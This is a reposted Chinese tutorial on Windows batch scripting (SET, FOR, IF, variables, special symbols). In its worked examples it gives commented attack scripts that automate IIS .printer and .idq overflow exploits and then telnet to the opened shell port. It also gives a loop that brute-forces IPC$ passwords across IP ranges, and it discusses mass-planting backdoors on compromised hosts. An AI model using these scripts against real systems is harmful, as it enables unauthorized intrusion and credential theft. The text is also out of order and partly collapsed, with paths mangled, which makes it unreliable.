Bat File
from the web , tks
[@more@]SET [variable=[string]]
variable 指定環境變數名稱。
string 指定要指派給變數的一系列字元。
僅鍵入 SET 而不加引數,可以顯示當前的環境變數。
如果命令副檔名被啟用,SET 會如下改變:
可僅用一個變數啟用 SET 命令,等號或值不顯示所有字首匹配
SET 命令已使用的名稱的所有變數的值。例如:
SET P
會顯示所有以字母 P 打頭的變數
如果在當前環境中找不到該變數名稱, SET 命令將把 ERRORLEVEL
設定成 1。
SET 命令不允許變數名含有等號。
在 SET 命令中新增了兩個新替換:
SET /A expression
SET /P variable=[promptString]
/A 命令選項指定等號右邊的字串為被評估的數字表示式。該表示式
評估器很簡單並以遞減的優先權順序支援下列操作:
() - 分組
* / % - 算數運算子
+ - - 算數運算子
<< >> - 邏輯移位
- 按位“與”
^ - 按位“異”
| - 按位“或”
= *= /= %= += -= - 賦值
&= ^= |= <<= >>=
, - 表示式分隔符
如果您使用任何邏輯或取餘運算子, 您需要將表示式字串用
引號擴起來。在表示式中的任何非數字字串鍵作為環境變數
名稱,這些環境變數名稱的值已在使用前轉換成數字。如果指定
了一個環境變數名稱,但未在當前環境中定義,那麼值將被定為
零。這使您可以使用環境變數值做計算而不用鍵入那些 % 符號
來得到它們的值。如果 SET /A 在命令指令碼外的命令列執行的,
那麼它顯示該表示式的最後值。該分配的運算子在分配的運算子
左邊需要一個環境變數名稱。除十六進位制有 0x 字首, 八進位制
有 0 字首的,數字值為十進位數字。因此, 0x12 與 18 和 022
相同。請注意八進位制公式可能很容易搞混: 08 和 09 是無效的數字,
因為 8 和 9 不是有效的八進位制位數。
/P 命令選項允許將變數數值設成使用者輸入的一行輸入。讀取輸入
行之前,顯示指定的 promptString。promptString 可以是空的。
環境變數替換已如下增強:
%PATH:str1=str2%
會擴充套件 PATH 環境變數,用 "str2" 代替擴充套件結果中的每個 "str1"。
要有效地從擴充套件結果中刪除所有的 "str1","str2" 可以是空的。
"str1" 可以以星號打頭;在這種情況下,"str1" 會從擴充套件結果的
開始到 str1 剩餘部分第一次出現的地方,都一直保持相配。
也可以為副檔名指定子字串。
%PATH:~10,5%
會擴充套件 PATH 環境變數,然後只使用在擴充套件結果中從第 11 個(偏
移量 10)字元開始的五個字元。如果沒有指定長度,則採用預設
值,即變數數值的餘數。如果兩個數字(偏移量和長度)都是負數,
使用的數字則是環境變數數值長度加上指定的偏移量或長度。
%PATH:~-10%
會抽取 PATH 變數的最後十個字元。
%PATH:~0,-2%
會抽取 PATH 變數的所有字元,除了最後兩個。
終於新增了延遲環境變數擴充的支援。該支援總是按預設值被
停用,但也可以透過 CMD.EXE 的 /V 命令列命令選項而被啟用/停用。
請參閱 CMD /?
考慮到讀取一行文字時所遇到的目前擴充的限制時,延遲環境
變數擴充是很有用的,而不是執行的時候。以下例子說明直接
變數擴充的問題:
set VAR=before
if "%VAR%" == "before" (
set VAR=after;
if "%VAR%" == "after" @echo If you see this, it worked
)
不會顯示訊息,因為在讀到第一個 IF 語句時,BOTH IF 語句中
的 %VAR% 會被代替;原因是: 它包含 IF 的文體,IF 是一個
複合語句。所以,複合語句中的 IF 實際上是在比較 "before" 和
"after",這兩者永遠不會相等。同樣。以下這個例子也不會達到
預期效果:
set LIST=
for %i in (*) do set LIST=%LIST% %i
echo %LIST%
原因是,它不會在目前的目錄中建立一個檔案列表,而只是將
LIST 變數設成找到的最後一個檔案。這也是因為 %LIST% 在
FOR 語句被讀取時,只被擴充了一次;而且,那時的 LIST 變數
是空的。因此,我們真正執行的 FOR 迴圈是:
for %i in (*) do set LIST= %i
這個迴圈繼續將 LIST 設成找到的最後一個檔案。
延遲環境變數擴充允許您使用一個不同的字元(驚歎號)在執行
時間擴充環境變數。如果延遲的變數擴充被啟用,可以將上面
例子寫成以下所示,以達到預期效果:
set VAR=before
if "%VAR%" == "before" (
set VAR=after
if "!VAR!" == "after" @echo If you see this, it worked
)
set LIST=
for %i in (*) do set LIST=!LIST! %i
echo %LIST%
如果命令副檔名被啟用,有幾個動態環境變數可以被擴充套件,但
不會出現在 SET 顯示的變數列表中。每次變數數值被擴充套件時,
這些變數數值都會被動態計算。如果使用者用這些名稱中任何
一個定義變數,那個定義會替代下面描述的動態定義:
%CD% - 擴充套件到當前目錄字串。
%DATE% - 用跟 DATE 命令同樣的格式擴充套件到當前日期。
%TIME% - 用跟 TIME 命令同樣的格式擴充套件到當前時間。
%RANDOM% - 擴充套件到 0 和 32767 之間的任意十進位制數字。
%ERRORLEVEL% - 擴充套件到當前 ERRORLEVEL 數值。
%CMDEXTVERSION% - 擴充套件到當前命令處理器副檔名版本號。
%CMDCMDLINE% - 擴充套件到呼叫命令處理器的原始命令列。
第四部分:完整案例
以上就是批處理的一些用法。現在我們把這些用法結合起來詳細的分析一下目前網上釋出的一些批處理,看看他們是怎麼運作的。這裡我將列舉三個例子來詳細分析,為了保持程式的完整我的註釋會加在/*後面。
例一
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢位的批處理。用到的程式有iis5hack.exe和系統自帶的telnet.exe。iis5hack的命令格式為:
iis5hack
目標版本為0-9這10個數字分別對應不同語言版本和sp的系統版本,我們編制的批處理使用的命令格式為
@echo off /*關閉命令回顯
if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉標誌1
if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設定則
if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執行
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*沒有發現iis5hack.exe就執行標誌file段內容
ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發現Received = 1
if errorlevel 1 goto error /*如果返回程式碼為1則執行error段(程式碼1為沒有發現 0為發現併成功執行)
iis5hack %1 80 9 88 | find "good" /*開始溢位目標埠80 系統程式碼9 溢位後連線埠88 /*在執行結果中發現字串”good”(溢位成功後才會有字串good)
if not errorlevel 1 goto telnet /*如果沒有錯誤程式碼1(溢位成功)就執行telnet段的內容。
echo 作業系統型別 9 失敗! /否則顯示這一句
:8 /*以下程式碼內容參照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 8 失敗!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 7 失敗!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 6 失敗!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 5 失敗!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 4 失敗!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 3 失敗!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 2 失敗!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 1 失敗!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 作業系統型別 0 失敗!
goto error
:telnet
telnet %1 88 /*開始連線目標ip的88埠
goto exit /*連線中斷後跳轉exit段
:error /*error段顯示錯誤後的幫助資訊
echo 可能網路不能連線或者對方已經修補該漏洞!請按照下面的格式手工嘗試一次!
echo iis5hack [目標IP] [WEB埠] [系統型別] [開放埠]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日語: 4
ECHO 日語+sp1: 5
ECHO 韓文: 6
ECHO 韓文+sp1: 7
ECHO 墨西哥語: 8
ECHO 墨西哥語+sp1: 9
goto exit /*跳轉exit段
:file /*file段顯示檔案沒有發現的資訊
echo 檔案iis5hack.exe沒有發現!程式終止執行!
goto exit /*跳轉exit段
:help /*help段顯示本批處理的使用格式幫助
echo 本程式用法如下:
echo iis [目標ip]
echo iis [目標ip] [開始的號碼9-0]
:exit /*exit段為程式出口
這個批處理基本沒有什麼迴圈只是一路走下來。所以程式碼比較長難度不大!
例二
這個例子是用iisidq.exe對有idq漏洞的機器進行溢位的批處理。使用的程式有iisidq.exe和系統自帶的程式telnet.exe。iisidq.exe的用法如下:
執行引數: 作業系統型別 目的地址 web埠 1 溢位監聽埠
其中,如果輸入命令引數沒有輸入,那麼,預設為:"cmd.exe"。
其中作業系統型別型別的程式碼範圍是0-14。我們編制的批處理使用的命令格式為
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*建立一個環境變數b,將變數%1的內容傳遞給環境變數b。變數b的內容以後將是目標ip
set a=0 /*建立一個環境變數a並指定環境變數a為0。由於使用整個批處理的迴圈所以用a來做計數器。
:no /*no段開始
if %a%==0 set d=0 /*如果環境變數a=0則建立環境變數d設定環境變數d=0。
if %a%==1 set d=1 /*環境變數d其實是作業系統型別程式碼,用計數器來控制其
if %a%==2 set d=2 /*變動。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*變數傳遞完成後轉到標誌0處執行
:1
echo 正在執行第%d%項!與目標%b%不能連線!正在嘗試連線請等候......
:0 /*標誌0開始
IISIDQ %d% %b% 80 1 99 |find "good"
/*按格式傳送溢位命令並在結果中發現字串good(傳送程式碼成功才會有字串good)
if errorlevel 1 goto 1 /*如果沒有good字串則沒有傳送成跳
/*轉標誌1處繼續嘗試傳送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當於延時8秒不顯示執
/*行結果
echo 正在執行第%d%項! /*報告正在溢位的作業系統型別
telnet %b% 99 /*連線溢位埠
echo. /*顯示一個空行
if %d%==14 goto error1 /*如果作業系統型別為14則跳轉error1處(迴圈出口)
if %d%==13 set a=11 /*開始用計數器對作業系統程式碼重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳轉no段執行
:file /*以下都是出錯後的幫助提示
echo IIsidq.exe沒有發現!將該檔案和本檔案放在同一目錄!
goto exit
:error
echo 錯誤!目標ip不可識別!請使用下面的格式連線!
echo idq [目標IP]
goto exit
:error1
echo 連線沒有成功!可能目標機器已經修補了該漏洞或者網路故障所至!
echo 請按照下面的格式手工嘗試!
echo iisidq [目標型別] [目標IP] [目標埠] [連線方式] [溢位埠]
echo telnet [目標ip] [溢位埠]
:exit /*整個程式的出口
這個批處理採用的整體迴圈掌握好計數器部分就掌握了這個批處理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in
(1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use
%1.%%a.%%b.%%cipc$ %%e /u:%%f
上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:>TEST.BAT 218
當輸入218回車後該命令會由第1個for取初始值0為%%a然後繼續取第2個for的初始值0為%%b繼續取第3個for的初始值1為%%c最後一個for是將userpass.txt中的第一段字元作為密碼%%e第二段字元作為使用者名稱%%f最後執行命令(這裡我把上面的值都帶進去,設密碼為123 使用者名稱為 abc)
net usr 218.0.0.1ipc$ 123 /u:abc
當然上面這個例子可能有些朋友會說太簡單並且太死板不靈活。修改後的程式可以靈活的查詢你指定開始到結束或你指定開始到最大ip的範圍。當然功能還可以在加強,至於能加強到什麼地步能不能成為一個新的工具那就是你的事了。這個的迴圈動作大了點主要是ip的數字替換麻煩所以沒辦法。這個批處理我就不寫註釋了,大家好好的參考上面的內容你會很快看懂這個批處理的。看懂了得不要說簡單哦!最起碼這是個沒有使用任何第三方工具就能探測並儲存弱口令的批處理了!!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和xp下測試透過最大的優點就是隻有一個批處理檔案並且絕對不會誤報。缺點就是太長!
第三部分:批處理與變數
在批處理中適當的引用變數將會使你所編制的程式應用面更廣。批處理每次能處理的變數從%0~%9共10個。其中%0預設給批處理的檔名使用。除非在使用SHIFT命令後%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一個%0那麼結果如下:
C::>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系統是如何區分每個變數的呢,系統區分變數的規則為字串中間的空格,即只要發現空格就把空格前面的字元當作一個變數而空格後面的字元則作為另一個變數。如果你的變數是一個當中包含空格的長目錄名這時候你需要用上一節特殊符號8中所用的引號將他圈起來。例:
批處理內容為:
ECHO %1
ECHO %2
ECHO %3
輸入命令:
C:>TEST “Program Files” Program Files
Program Files
Program
Files
在一個複雜的批處理中又可能同時使用的變數會超過10個這時候會和系統的規則衝突,那麼這個問題怎麼解決呢?在系統中還有一種變數稱之為環境變數(使用SET命令可以檢視當前系統的環境變數)如當前系統目錄是%windir%或%SystemRoot%等。當同時使用的引數超過10個的時候,我們可以把某些在後面的程式中還要呼叫的變數儲存為環境變數。具體用法如
SET A=%1 這樣我們就命名了一個新的環境變數A
在呼叫變數A的時候要%A%這樣呼叫,環境變數不受SHIFT命令影響。如果要改變一個環境變數需要重新對其設定才能改變。當然也可以進行變數與變數之間的傳遞來達到目的。下面我們來看一個例子,批處理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 變數的傳遞
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命令:C:>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意:這一行顯示了11個變數
A B L 在使用了3次SHIFT之後%9變成了L
B L 變數的傳遞後的結果
第二部分:特殊的符號與批處理
在命令列下有些符號是不允許使用的但有些符號卻有著特殊的意義。
1、 符號(@)
@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令。現在我們在這個命令前加上@這樣echo off這一命令就被@關閉了回顯從而達到所有命令均不回顯得要求
2、 符號(>)
>的意思是傳遞並覆蓋。他所起的作用是將執行後的回顯結果傳遞到後面的範圍(後面可是檔案也可是預設的系統控制檯)例:
檔案1.txt的檔案內容為:1+1
使用命令c:>dir *.txt >1.txt
這時候1.txt的內容如下:
驅動器 C 中的卷沒有標籤。
卷的序列號是 301A-1508
C: 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個檔案 18,630,070 位元組
0 個目錄 1,191,542,784 可用位元組
>將命令執行的結果覆蓋了原始的檔案內容。
在傳遞給控制檯的時候程式將不會有任何回顯(注意:這裡的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入命令的回顯,這裡的回顯是程式執行中或後的回顯)例:
C:>dir *.txt >nul
程式將沒有任何顯示也不會產生任何痕跡。
3、 符號(>>)
符號>>的作用與符號>相似,但他們的區別在於>>是傳遞並在檔案末尾追加>>也可將回顯傳遞給控制檯(用法同上)例:
檔案1.txt內同為:1+1
使用命令c:>dir *.txt >>1.txt
這時候1.txt的內容如下:
1+1
驅動器 C 中的卷沒有標籤。
卷的序列號是 301A-1508
C: 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個檔案 18,630,070 位元組
0 個目錄 1,191,542,784 可用位元組
>>將命令執行的結果覆加在了原始的檔案內容後面。
4、 符號(|)
|是一個管道傳輸命令意思是將上一命令執行的結果傳遞給下一命令去處理。例:
C:>dir c:|find "1508"
卷的序列號是 301A-1508
以上命令的意思為查詢c:的所有並發現1508字串。Find的用法請用 find /?自行檢視
在不使用format的自動格式化引數的時候我是這樣來自動格式化碟片的
echo y|format a: /s /q /v:system
用過format命令的人都知道format有一個互動對化過程,要使用者輸入y來確定當前的命令是否被執行。在這個命令前加上echo y並用管道傳輸符|將echo執行的結果y傳遞給format從而達到手工輸入y的目的(這條命令有危害性,測試的時候請謹慎)
5、 符號(^)
^ 是對特殊符號 > 、
c:>echo test ^> 1.txt
test > 1.txt
從上面可以看出並沒有把test寫入檔案1.txt而是將test >1.txt 當字串顯示了出來。這個符號在遠端構建批處理的時候很有效果。
6、 符號(&)
&符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗將不影響第2個命令的執行。例:
c:> dir z: &dir y: &dir c:
以上的命令將會連續顯示z: y: c:盤內的內容不理會該磁碟機代號是否存在。
7、 符號(&&)
&&符號也是允許在一行中使用2個以上不同的命令,當第一個命令執行失敗後後續的命令將不會再被執行。例:
c:> dir z: &&dir y: &&dir c:
以上的命令將會提示檢查是否存在z:盤如果存在則執行,如果不存在則停止執行所有的後續命令
8、 符號(" ")
" "符號允許在字串中包含空格。進入一個特殊的目錄可以用如下方法例:
c:>cd “Program Files”
c:>cd progra~1
c:>cd pro*
以上方法都可以進入Program Files目錄
9、 符號(,)
,符號相當於空格。在某些特殊的情況下可以用,來代替空格使用。例:
c:>dir,c:
10、 符號(;)
;符號當命令相同的時候可以將不同的目標用;隔離開來,但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告而程式不會繼續執行。例:
DIR C:;D:;E:F:
以上的命令相當於
DIR C:
DIR D:
DIR E:
DIR F:
當然還有些特殊的符號但他們的使用範圍很小我就不再這裡一一的說明了。
1.如果你的目的是設定環境變數,設定hihi變數為一個隨機數用: 2.如果你的目的是生成一個隨機數寫到文字中,用: 3.如果你想二者都有,用: 每執行一次%RANDOM%,便會生成一個隨機數。 第一類 直接賦值 SET [variable=[string]] 例子: 第二類 SET /P variable=[promptString] |
批處理中的FOR,SET,IF是批處理中比較難的,下面是本人學這幾個命令時覺得比較好的教程 if 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 1)、if "引數" == "字串" 待執行的命令 如if "%1"=="a" format a: 2)、if exist 檔名 待執行的命令 如if exist config.sys edit config.sys 3)、if errorlevel / if not errorlevel 數字 待執行的命令 如if errorlevel 2 goto x2 DOS程式執行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。 for 命令 for 命令是一個比較複雜的命令,主要用於引數在指定的範圍內迴圈執行命令。 for {%variable│%%variable} in (set) do command [ CommandLineOptions] 在批處理檔案中使用 FOR 命令時,指定變數請使用 %%variable 如果命令副檔名被啟用,下列額外的 FOR 命令格式會受到支援: 如果集中包含萬用字元,則指定與目錄名匹配,而不與檔名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters] 檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用 當前目錄。如果集僅為一個單點(.)字元,則列舉該目錄樹。 FOR /L %variable IN (start,step,end) DO command [command-parameters] 該集表示以增量形式從開始到結束的一個數字序列。 FOR /F ["options"] %variable IN (file-set) DO command 或者,如果有 usebackq 選項: FOR /F ["options"] %variable IN (file-set) DO command filenameset 為一個或多個檔名。繼續到 filenameset 中的下一個檔案之前,每份檔案都已被開啟、讀 取並經過處理。 個符號解析之分配並接受行的保留文字。 檔名稱。 sample1: 會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程式體;用逗號和/或 空格定界符號。請注意,這個 for 程式體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的檔名,您需要用 雙引號將檔名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會 被理解成是用作定義某個要分析的字串的。 %i 專門在 for 語句中得到說明,%j 和 %k 是透過tokens= 選項專門得到說明的。您可以透過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變數。請記住,FOR 變數是單一字 母、分大小寫和全域性的;同時不能有 52 個以上都在使用中。 您還可以在相鄰字串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。 這樣,該字串會被當作一個檔案中的一個單一輸入行。 最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字元 串。該字串會被當作命令列,傳遞到一個子 CMD.EXE,其輸出會被抓進記憶體,並被當作檔案分析。因此 ,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 會列舉當前環境中的環境變數名稱。 另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法: ~I - 刪除任何引號("),擴充 %I 量未被定義,或者沒有找到檔案,此組合鍵會擴充空字串 可以組合修飾符來得到多重結果: %~dpI - 僅將 %I 擴充到一個驅動器號和路徑 在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。 以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。 sample2: 利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。 我們用net use "password" /u:"administrator"來嘗試這和目標主機進行連線,當成功時記下 密碼。 成">>D:ok.txt ,這樣就ko了。 sample3: 你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會 變得很鬱悶:)。文章開頭就談到使用批處理檔案,可以簡化日常或重複性任務。那麼如何實現呢?呵呵 ,看下去你就會明白了。 主要命令也只有一條:(在批處理檔案中使用 FOR 命令時,指定變數使用 %%variable) %i %j %k。 (If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的檔案。 是什麼樣的了。應該根據%%i %%j %%k表示的物件來排列,一般就是 ip password usernam 下面這文章是我收藏的FOR的經典應用
現分別舉例說明如下:
for /r . %a in (*.txt) do @find "bluebear" %a find 前面的 @ 只是讓輸出結果不包括 find 命令本身。這是DOS很早就有的功能。和FOR無關。 for /r . %a in (.) do @if exist %aCVS rd /s /q %aCVS 先用 if exist 判斷一下,是因為 for 只是機械的對每個目錄進行列舉,如果有些目錄下面沒有CVS也會被執行到。用 if exist 判斷一下比較安全。 for /r . %a in (.) do @if exist %aCVS @echo %aCVS 可能目錄中會多出一層 ".",比如 c:projrelease.CVS ,但不會影響命令的執行效果。 c:tempa1.txt 那麼可以用FOR來完成: for /f %a in (todel.txt) do del %a 這個命令還可以更強大。比如你的 todel.txt 並不是象上面例子那麼幹淨,而是由DIR直接生成,有一些沒用的資訊,比如這樣: Volume in drive D is DATA for 仍然可以解出其中的檔名並進行操作: for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a 當然,上面這個命令是在進行刪除,如果你只是想看看哪些檔案將被操作,把DEL換成echo: for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a 你將看到: alg0925.txt skip=5表示跳過前5行(就是DIR輸出的頭部資訊),tokens=5表示將每行的第5列作為迴圈值放入%a,正好是檔名。在這裡我加了一個檔案存在判斷,是因為最後一行的"free"剛好也是第5列,目前還想不出好的辦法來濾掉最後兩行,所以檢查一下可保萬無一失。 FOR /F "delims==" %i IN ('set') DO @echo %i 將看到: ALLUSERSPROFILE 這裡是將set命令執行的結果拿來作為迴圈範圍。delims==表示用=作為分隔符,由於FOR /F預設是用每行第一個TOKEN,所以可以分離出變數名。如果是想僅列出值: FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i tokens=2和前例相同,表示將第二列(由=作為分隔符)作為迴圈值。 Sat 07/13/2002 現在我想分離出日期部分,也就是13: for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a 實際上把 tokens後面換成1,2,3或4,你將分別得到Sat, 07, 13和2002。注意delims=/後面還有個空格,表示/和空格都是分隔符。由於這個空格delims必須是/f選項的最後一項。 for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 當tokens後跟多個值時,將分別對映到%a, %b, %c等。實際上跟你指定的變數有關,如果你指定的是 %i, 它們就會用%i, %j, %k等。 g:mp3Archived5-18-01-A游鴻明-下沙游鴻明-01 下沙.mp3 如果我只要歌名(不要路徑和".mp3"): 游鴻明-01 下沙 那麼可以用FOR命令: for /r g:mp3 %a in (*.mp3) do @echo %~na |
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/66634/viewspace-1011722/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- BAT命令BAT
- cat > file << EOF 與 cat > file << -
- File
- How to Convert Class File to Java File Online?Java
- bat程式設計BAT程式設計
- docker fileDocker
- include "head_file" 和 include <head_file>
- bat 批次重新命名BAT
- Bat-基礎命令BAT
- DOS下常用BAT命令BAT
- FUSE File Systems
- 建立DOCKER fileDocker
- Docker Compose fileDocker
- Walking the File Tree
- SQL on file 工具SQL
- gitignore by file size?Git
- JavaScript File 物件JavaScript物件
- log file switch
- 【Java】File類Java
- libmysqlclient.so.16: cannot open shared object file: No such file or directoryIBMMySqlclientObject
- bat指令碼的基本操作BAT指令碼
- windows bat指令碼睡眠等待WindowsBAT指令碼
- bat 批處理字串操作BAT字串
- BAT招聘專場來了~BAT
- windows 2003 禁止UDP的batWindowsUDPBAT
- ImportError: libffi.so.7: cannot open shared object file: No such file or directoryImportErrorObject
- 【JAVA :File類的用法(一)】File類的構造方法-File類建立檔案與資料夾Java構造方法
- C#File類C#
- File類的使用
- use "jsdelivr" to host fileJSVR
- DVWA--File Upload
- DWVA--File Inclusion
- File name 屬性
- Reflected File Download Attack
- File getPath()、getAbsolutePath()、getCanonical
- No input file specified.
- File size 屬性
- File type 屬性
- File lastModified 屬性AST